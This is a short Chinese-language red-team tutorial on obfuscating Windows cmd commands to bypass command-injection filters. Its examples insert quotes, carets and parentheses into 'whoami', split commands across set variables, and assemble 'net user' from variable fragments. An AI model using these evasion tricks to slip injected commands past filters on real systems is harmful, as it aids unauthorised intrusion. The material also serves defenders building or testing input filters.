红队系列-Bypass技巧_转义


红队系列-Bypass技巧

  • 命令执行RCE
  • windows
  • 符号与命令的关系
  • cmd中的set命令和%符号的含义和windows变量
  • 参考文章
  • 命令执行bypass分享


命令执行RCE

windows

符号与命令的关系

” 和 ^ 这还有成对的圆括号()符号并不会影响命令的执行。

windows环境下,命令可以不区分大小写

//正常执行 whoami 

//正常执行w"h"o"a"m"i 
//正常执行w"h"o"a"m"i" 
//正常执行wh""o^a^mi 
//正常执行wh""o^am"i 
//正常执行((((Wh^o^am""i))))

当可以加无数个”但不能同时连续加2个 ^ 符号
因为^号是cmd中的转义符,跟在他后面的符号会被转义

w"""""""""""""hoami //正常执行
w""""""""""""""""""hoa^m"i //正常执行
w"""""""""""""hoa^^m""i //执行错误

cmd中的set命令和%符号的含义和windows变量

set命令可以用来设置一个变量(环境变量也是变量哦~),那么%符号如下图

set a=1 //设置变量a,值为1
echo a //此时输出结果为"a"
echo %a% //此时输出结果为"1"

用两个%括起来的变量,会引用其变量内的值。那也就是说:
set a=whoami //设置变量a的值为whoami
%a% //引用变量a的值,直接执行了whoami命令

这样就可以执行命令了,又或者还可以
set a=who
set b=ami
%a%%b% //正常执行whoami
set a=w""ho
set b=a^mi
%a%%b% //根据前一知识点进行组合,正常执行whoami
set a=ser&& set b=ne&& set c=t u && call %b%%c%%a%
//在变量中设置空格,最后调用变量来执行命令

参考文章

命令执行bypass分享